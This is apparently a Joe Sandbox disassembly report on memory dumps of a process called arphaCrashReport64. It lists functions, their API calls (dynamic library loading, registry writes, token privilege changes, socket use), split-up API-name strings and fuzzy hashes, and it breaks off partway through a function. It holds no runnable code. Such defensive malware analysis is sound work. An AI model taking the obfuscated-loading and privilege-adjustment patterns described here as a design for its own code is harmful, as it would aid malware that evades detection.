free.LIBCMT ref: 00000210AE4DBA5B
free.LIBCMT ref: 00000210AE4DBA67
free.LIBCMT ref: 00000210AE4DBA73
free.LIBCMT ref: 00000210AE4DBA7F
free.LIBCMT ref: 00000210AE4DBA8B
free.LIBCMT ref: 00000210AE4DBA97
free.LIBCMT ref: 00000210AE4DBAA3
free.LIBCMT ref: 00000210AE4DBAAF
free.LIBCMT ref: 00000210AE4DBABB
free.LIBCMT ref: 00000210AE4DBAC7
free.LIBCMT ref: 00000210AE4DBAD3
free.LIBCMT ref: 00000210AE4DBADF
free.LIBCMT ref: 00000210AE4DBAEB
free.LIBCMT ref: 00000210AE4DBAF7
free.LIBCMT ref: 00000210AE4DBB03
free.LIBCMT ref: 00000210AE4DBB0F
free.LIBCMT ref: 00000210AE4DBB1B
free.LIBCMT ref: 00000210AE4DBB27

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: c95f6a12d68313081552cb3c408e3eb0988a1425e38ca0eecb449076a2a0b8f6
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 89A16436211648A1FA41FB31DCD93EC1328AFE6F45FB46532AB8D6B5A7CE90C8858750

Function 00007FFD94475C90 Relevance: 67.6, APIs: 43, Strings: 2, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 00007FFD94475CA5

Part of subcall function 00007FFD94471EA8: HeapFree.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471EBE
Part of subcall function 00007FFD94471EA8: _errno.LIBCMT ref: 00007FFD94471EC8
Part of subcall function 00007FFD94471EA8: GetLastError.KERNEL32(?,?,?,00007FFD944716FD), ref: 00007FFD94471ED0

free.LIBCMT ref: 00007FFD94475CAE
free.LIBCMT ref: 00007FFD94475CB7
free.LIBCMT ref: 00007FFD94475CC0
free.LIBCMT ref: 00007FFD94475CC9
free.LIBCMT ref: 00007FFD94475CD2
free.LIBCMT ref: 00007FFD94475CDA
free.LIBCMT ref: 00007FFD94475CE3
free.LIBCMT ref: 00007FFD94475CEC
free.LIBCMT ref: 00007FFD94475CF5
free.LIBCMT ref: 00007FFD94475CFE
free.LIBCMT ref: 00007FFD94475D07
free.LIBCMT ref: 00007FFD94475D10
free.LIBCMT ref: 00007FFD94475D19
free.LIBCMT ref: 00007FFD94475D22
free.LIBCMT ref: 00007FFD94475D2B
free.LIBCMT ref: 00007FFD94475D37
free.LIBCMT ref: 00007FFD94475D43
free.LIBCMT ref: 00007FFD94475D4F
free.LIBCMT ref: 00007FFD94475D5B
free.LIBCMT ref: 00007FFD94475D67
free.LIBCMT ref: 00007FFD94475D73
free.LIBCMT ref: 00007FFD94475D7F
free.LIBCMT ref: 00007FFD94475D8B
free.LIBCMT ref: 00007FFD94475D97
free.LIBCMT ref: 00007FFD94475DA3
free.LIBCMT ref: 00007FFD94475DAF
free.LIBCMT ref: 00007FFD94475DBB
free.LIBCMT ref: 00007FFD94475DC7
free.LIBCMT ref: 00007FFD94475DD3
free.LIBCMT ref: 00007FFD94475DDF
free.LIBCMT ref: 00007FFD94475DEB
free.LIBCMT ref: 00007FFD94475DF7
free.LIBCMT ref: 00007FFD94475E03
free.LIBCMT ref: 00007FFD94475E0F
free.LIBCMT ref: 00007FFD94475E1B
free.LIBCMT ref: 00007FFD94475E27
free.LIBCMT ref: 00007FFD94475E33
free.LIBCMT ref: 00007FFD94475E3F
free.LIBCMT ref: 00007FFD94475E4B
free.LIBCMT ref: 00007FFD94475E57
free.LIBCMT ref: 00007FFD94475E63
free.LIBCMT ref: 00007FFD94475E6F

Strings

RegOpenKeyExW, xrefs: 00007FFD94475CCE
eyExW, xrefs: 00007FFD94475CC5

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID: RegOpenKeyExW$eyExW
API String ID: 1012874770-580866691
Opcode ID: 8bd799ee43dc6223234b6bf2e8a519622c0d060a50e6a2483f053fe225e5dac6
Instruction ID: 0c6569b38e5c8f1d3ad817c4898785ac89d17fa30d12b322b3a401fc3a83835d
Opcode Fuzzy Hash: 8bd799ee43dc6223234b6bf2e8a519622c0d060a50e6a2483f053fe225e5dac6
Instruction Fuzzy Hash: F5417433F2554181FB75ABB5C4A26BC1320AFCAB45F44C132D94D6B6ABCF94D846C350

Function 00000210AE4C32F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C33B3
GetProcAddress.KERNEL32 ref: 00000210AE4C33C3
GetProcAddress.KERNEL32 ref: 00000210AE4C33D3
GetProcAddress.KERNEL32 ref: 00000210AE4C33E3

Strings

stem, xrefs: 00000210AE4C33A1
el32, xrefs: 00000210AE4C3326
mTim, xrefs: 00000210AE4C3346
ime, xrefs: 00000210AE4C335B
ToLo, xrefs: 00000210AE4C3370
ime, xrefs: 00000210AE4C3385
ileT, xrefs: 00000210AE4C337E
.dll, xrefs: 00000210AE4C332D
Time, xrefs: 00000210AE4C3393
ileT, xrefs: 00000210AE4C3354
eAsF, xrefs: 00000210AE4C334D
Time, xrefs: 00000210AE4C3369
File, xrefs: 00000210AE4C338C
ToSy, xrefs: 00000210AE4C339A
calF, xrefs: 00000210AE4C3377
GetS, xrefs: 00000210AE4C3338
Time, xrefs: 00000210AE4C33A8
File, xrefs: 00000210AE4C3362
Kern, xrefs: 00000210AE4C331F
yste, xrefs: 00000210AE4C333F

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction ID: 271b1c1901079711093746c81ae2fa5f1ca5148f8090deec09f6827a23137de8
Opcode Fuzzy Hash: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction Fuzzy Hash: 523114B2700A41DEEB40CFA1E5993EC3B74F758B88F44451AEA591BB08DA74C249CB44

Function 00000210AE4DE7CC Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE811
GetProcAddress.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE82D
RtlEncodePointer.NTDLL ref: 00000210AE4DE83F
GetProcAddress.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE856
RtlEncodePointer.NTDLL ref: 00000210AE4DE85F
GetProcAddress.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE876
RtlEncodePointer.NTDLL ref: 00000210AE4DE87F
GetProcAddress.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE896
RtlEncodePointer.NTDLL ref: 00000210AE4DE89F
GetProcAddress.KERNEL32(?,?,?,?,?,00000210AE4C12ED), ref: 00000210AE4DE8BE
RtlEncodePointer.NTDLL ref: 00000210AE4DE8C7
RtlDecodePointer.NTDLL ref: 00000210AE4DE8FA
RtlDecodePointer.NTDLL ref: 00000210AE4DE90A
RtlDecodePointer.NTDLL ref: 00000210AE4DE960
RtlDecodePointer.NTDLL ref: 00000210AE4DE981
RtlDecodePointer.NTDLL ref: 00000210AE4DE99B

Strings

GetLastActivePopup, xrefs: 00000210AE4DE865
MessageBoxW, xrefs: 00000210AE4DE823
GetActiveWindow, xrefs: 00000210AE4DE845
USER32.DLL, xrefs: 00000210AE4DE80A
ceil, xrefs: 00000210AE4DE7D1
GetUserObjectInformationW, xrefs: 00000210AE4DE885
GetProcessWindowStation, xrefs: 00000210AE4DE8B4

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL$ceil
API String ID: 2643518689-1731902841
Opcode ID: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction ID: b6ac44c4540e42b47a7c8135e9488c1cc92f7e34eab093dc44127822519b9e3b
Opcode Fuzzy Hash: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction Fuzzy Hash: 5551EA30A03B4181FE95DB55ACDC3E827A8BF69B91F681025DF8E037A5EEB9C4C58241

Function 00000210AE4C3160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C31DA
GetProcAddress.KERNEL32 ref: 00000210AE4C31E7
LoadLibraryA.KERNEL32 ref: 00000210AE4C321B
GetProcAddress.KERNEL32 ref: 00000210AE4C3228
LoadLibraryA.KERNEL32 ref: 00000210AE4C3243
GetProcAddress.KERNEL32 ref: 00000210AE4C3250

Strings

Chec, xrefs: 00000210AE4C31F1
enMe, xrefs: 00000210AE4C31FF
Allo, xrefs: 00000210AE4C31AC
pi32, xrefs: 00000210AE4C319A
aliz, xrefs: 00000210AE4C31C8
Free, xrefs: 00000210AE4C3232
kTok, xrefs: 00000210AE4C31F8
Adva, xrefs: 00000210AE4C3193
niti, xrefs: 00000210AE4C31C1
.dll, xrefs: 00000210AE4C31A1
ship, xrefs: 00000210AE4C3210
mber, xrefs: 00000210AE4C3206
AndI, xrefs: 00000210AE4C31BA
cate, xrefs: 00000210AE4C31B3
eSid, xrefs: 00000210AE4C31CF
Sid, xrefs: 00000210AE4C323C

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll$Adva$Allo$AndI$Chec$Free$Sid$aliz$cate$eSid$enMe$kTok$mber$niti$pi32$ship
API String ID: 2574300362-3843195497
Opcode ID: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction ID: 372664f399d9db2161598c6e3fbb3a66fdaaf850cdbd45748c0d01af85f9fe23
Opcode Fuzzy Hash: 04621738c0442ffbcc8d80509db345bcb3724ddbb18c76e5f94587bdcebbe584
Instruction Fuzzy Hash: A1414072604B41DEEB108FA1E0943DD7BB4FB58B88F50401AEB885BB18DFB9C249CB44

Function 00007FFD94475858 Relevance: 36.9, APIs: 15, Strings: 6, Instructions: 130libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475895
GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD944758B1
GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD944758D9
EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD944758E2
GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD944758F8
EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475901
GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475917
EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475920
GetProcAddress.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD9447593E
EncodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475947
DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475979
DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475988
DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD944759E0
DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475A00
DecodePointer.KERNEL32(?,?,?,?,?,000000FC,00000000,00007FFD944741A8,?,?,?,?,?,00007FFD9447423C), ref: 00007FFD94475A19

Strings

USER32.DLL, xrefs: 00007FFD9447588E
GetProcessWindowStation, xrefs: 00007FFD94475934
MessageBoxA, xrefs: 00007FFD944758A7
GetActiveWindow, xrefs: 00007FFD944758C8
GetLastActivePopup, xrefs: 00007FFD944758E7
GetUserObjectInformationA, xrefs: 00007FFD94475906

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$AddressDecodeProc$Encode$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3085332118-232180764
Opcode ID: 2c0770848c1799fc429614f4a9ab7da04b81b829d8d9f9703341eeec2a353d15
Instruction ID: 1e23ad9160a61f777eec05356fd2188df853096ed7b0b929f13ed1e37ee7295b
Opcode Fuzzy Hash: 2c0770848c1799fc429614f4a9ab7da04b81b829d8d9f9703341eeec2a353d15
Instruction Fuzzy Hash: 1651D830F0AB4240FA79DB92A8A01742290BF46B94F48C535D94D1BB9BEEFDE44BC210

Function 00000210AE4C2DB0 Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C2DE1
GetProcAddress.KERNEL32 ref: 00000210AE4C2DF4
GetProcAddress.KERNEL32 ref: 00000210AE4C2E07
GetProcAddress.KERNEL32 ref: 00000210AE4C2E1A
LoadLibraryA.KERNEL32 ref: 00000210AE4C2E2A
GetProcAddress.KERNEL32 ref: 00000210AE4C2E3D
LoadLibraryA.KERNEL32 ref: 00000210AE4C2EA6
GetProcAddress.KERNEL32 ref: 00000210AE4C2EB6
CloseHandle.KERNEL32 ref: 00000210AE4C2ECC
FreeLibrary.KERNEL32 ref: 00000210AE4C2EDA
FreeLibrary.KERNEL32 ref: 00000210AE4C2EE8

Strings

OpenProcessToken, xrefs: 00000210AE4C2DE7
kernel32.dll, xrefs: 00000210AE4C2E20
GetLastError, xrefs: 00000210AE4C2EAC
ADVAPI32.dll, xrefs: 00000210AE4C2DD7
GetCurrentProcess, xrefs: 00000210AE4C2E30
AdjustTokenPrivileges, xrefs: 00000210AE4C2DFA
LookupPrivilegeValueA, xrefs: 00000210AE4C2E0D
KERNEL32.dll, xrefs: 00000210AE4C2E9F
SeShutdownPrivilege, xrefs: 00000210AE4C2E63

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseHandle
String ID: ADVAPI32.dll$AdjustTokenPrivileges$GetCurrentProcess$GetLastError$KERNEL32.dll$LookupPrivilegeValueA$OpenProcessToken$SeShutdownPrivilege$kernel32.dll
API String ID: 2887716753-2040270271
Opcode ID: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction ID: 4d39361fd583b9e87054c24e9fa072782f4b3cf2faa9ebf5ddb96ee4be9f2f52
Opcode Fuzzy Hash: 1931c1dd66fb4f11e5269d907c7bd64e2e974d974d3bc15fafe02a502647d804
Instruction Fuzzy Hash: 7B315C31215B4585EB50DF65F8982E97369FFA8F90F690016EF9E43B24DEB9C489C340

Function 00000210AE4C3A90 Relevance: 34.7, APIs: 23, Instructions: 171sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4C19A0: WSAStartup.WS2_32 ref: 00000210AE4C1A19
Part of subcall function 00000210AE4C19A0: CreateEventA.KERNEL32 ref: 00000210AE4C1A2A

GetTickCount64.KERNEL32 ref: 00000210AE4C3AEF

Part of subcall function 00000210AE4C1BF0: ResetEvent.KERNEL32 ref: 00000210AE4C1C2D
Part of subcall function 00000210AE4C1BF0: timeGetTime.WINMM ref: 00000210AE4C1C3F
Part of subcall function 00000210AE4C1BF0: socket.WS2_32 ref: 00000210AE4C1C66

Sleep.KERNEL32 ref: 00000210AE4C3B4B
GetTickCount64.KERNEL32 ref: 00000210AE4C3B57
setsockopt.WS2_32 ref: 00000210AE4C3BB7
CancelIo.KERNEL32 ref: 00000210AE4C3BC1
closesocket.WS2_32 ref: 00000210AE4C3BD2
SetEvent.KERNEL32 ref: 00000210AE4C3BDC
TerminateThread.KERNEL32 ref: 00000210AE4C3C03
WaitForSingleObject.KERNEL32 ref: 00000210AE4C3C13
CloseHandle.KERNEL32 ref: 00000210AE4C3C20
Sleep.KERNEL32 ref: 00000210AE4C3C2B
CloseHandle.KERNEL32 ref: 00000210AE4C3C47
GetTickCount64.KERNEL32 ref: 00000210AE4C3D40

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Count64EventTick$CloseHandleSleep$CancelCreateObjectResetSingleStartupTerminateThreadTimeWaitclosesocketsetsockoptsockettime
String ID:
API String ID: 2857159816-0
Opcode ID: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction ID: 344176717ddd5c47bf532996373c23768535c0d19b5c52cfd21cc56cc807951d
Opcode Fuzzy Hash: d9f2ec0d3e0aa7c58bdcbaaae274798825103d0bf1e999a975acfbe6aba94234
Instruction Fuzzy Hash: 6D815F36201B8086EB20DF65DC9C2D93369FFE8758F344215DB9A57AA9DF75C989C300

Function 00000210AE4E1BD0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000210AE4E065C: RtlLookupFunctionEntry.KERNEL32 ref: 00000210AE4E06D0

__GetUnwindTryBlock.LIBCMT ref: 00000210AE4E1C34
__SetUnwindTryBlock.LIBCMT ref: 00000210AE4E1C5B

Part of subcall function 00000210AE4D581C: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000210AE4D3332), ref: 00000210AE4D5897

__GetUnwindTryBlock.LIBCMT ref: 00000210AE4E1C65
_getptd.LIBCMT ref: 00000210AE4E1CBB
_getptd.LIBCMT ref: 00000210AE4E1CCE
_getptd.LIBCMT ref: 00000210AE4E1CDA
_SetThrowImageBase.LIBCMT ref: 00000210AE4E1CEE
_getptd.LIBCMT ref: 00000210AE4E1D3E
_getptd.LIBCMT ref: 00000210AE4E1D51
_getptd.LIBCMT ref: 00000210AE4E1D5D
type_info::operator==.LIBCMT ref: 00000210AE4E1DC4
std::exception::exception.LIBCMT ref: 00000210AE4E1DFD
_getptd.LIBCMT ref: 00000210AE4E2030
std::exception::exception.LIBCMT ref: 00000210AE4E20A9

Strings

csm, xrefs: 00000210AE4E1D09
csm, xrefs: 00000210AE4E1E22
bad exception, xrefs: 00000210AE4E1DEA
csm, xrefs: 00000210AE4E1C7B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction ID: 039abcd8c932f20471074f2b9574a66783c8f9b0d1ccd1ba6e82df1d8c126f20
Opcode Fuzzy Hash: b0da779e959dd11a921ddf9fc6ba28667f0c5ca04c162c67c142df2107bdb14a
Instruction Fuzzy Hash: 7CE1BA326007408AEB64DF6594D83EE27A8FF64B88F644525EFC947B86CFB8C4A5C744

Function 00000210AE4C17D0 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 112libraryloaderstringCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C1806
GetProcAddress.KERNEL32 ref: 00000210AE4C1819
GetProcAddress.KERNEL32 ref: 00000210AE4C182E
GetProcAddress.KERNEL32 ref: 00000210AE4C1841
GetProcAddress.KERNEL32 ref: 00000210AE4C1851
GetProcAddress.KERNEL32 ref: 00000210AE4C1861
GetProcAddress.KERNEL32 ref: 00000210AE4C1876
lstrlen.KERNEL32 ref: 00000210AE4C192A
FreeLibrary.KERNEL32 ref: 00000210AE4C1970

Strings

ADVAPI32.dll, xrefs: 00000210AE4C17FF
RegSetValueExA, xrefs: 00000210AE4C1824
RegDeleteKeyA, xrefs: 00000210AE4C1837
RegCloseKey, xrefs: 00000210AE4C186C
RegCreateKeyExA, xrefs: 00000210AE4C180F
?, xrefs: 00000210AE4C189D
RegDeleteValueA, xrefs: 00000210AE4C1847
RegOpenKeyExA, xrefs: 00000210AE4C1857

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoadlstrlen
String ID: ?$ADVAPI32.dll$RegCloseKey$RegCreateKeyExA$RegDeleteKeyA$RegDeleteValueA$RegOpenKeyExA$RegSetValueExA
API String ID: 320228506-381397426
Opcode ID: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction ID: 13e6dbfeb3de1106eae3ab2faca92d4b29cf7f53efd817ff34d7035cfc204696
Opcode Fuzzy Hash: 14014c8cb4e149271cbad4aafa1c0eef43e85b9e77fdb354fec79f0d9413f6f3
Instruction Fuzzy Hash: F0418336305B4182EB608B12F8947DAB768FB98BD4F600215EEDE43B58DF78C586C704

Function 00000210AE4C2BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00000210AE4C2BD6
GetProcAddress.KERNEL32 ref: 00000210AE4C2BEE
GetProcAddress.KERNEL32 ref: 00000210AE4C2C01
GetProcAddress.KERNEL32 ref: 00000210AE4C2C16
GetProcAddress.KERNEL32 ref: 00000210AE4C2C29
LoadLibraryA.KERNEL32 ref: 00000210AE4C2C39
GetProcAddress.KERNEL32 ref: 00000210AE4C2C51
FreeLibrary.KERNEL32 ref: 00000210AE4C2CA9
FreeLibrary.KERNEL32 ref: 00000210AE4C2CB7

Strings

GetThreadDesktop, xrefs: 00000210AE4C2BE4
kernel32.dll, xrefs: 00000210AE4C2C32
user32.dll, xrefs: 00000210AE4C2BCF
GetUserObjectInformationA, xrefs: 00000210AE4C2BF7
SetThreadDesktop, xrefs: 00000210AE4C2C0C
CloseDesktop, xrefs: 00000210AE4C2C1F
GetCurrentThreadId, xrefs: 00000210AE4C2C47

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction ID: 088d8f971608709f783bbe6488b1d103ec374c8ae27451267b562e7827be7ef2
Opcode Fuzzy Hash: d557bd2b9d25df6d8a29b5deac8a03b5bc3a892c2579fa6b7429a775bd7d3774
Instruction Fuzzy Hash: 81314B31216B4191EA519B16FCD87EA63A8FFA8FC0F640121EE8A47B14DFB9C485C340

Function 00007FFD944785C4 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFD94477180: RtlLookupFunctionEntry.KERNEL32 ref: 00007FFD944771F4

__GetUnwindTryBlock.LIBCMT ref: 00007FFD94478635
__SetUnwindTryBlock.LIBCMT ref: 00007FFD9447865D

Part of subcall function 00007FFD94472830: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,000005AA,00007FFD944718DC), ref: 00007FFD944728B0

__GetUnwindTryBlock.LIBCMT ref: 00007FFD94478667
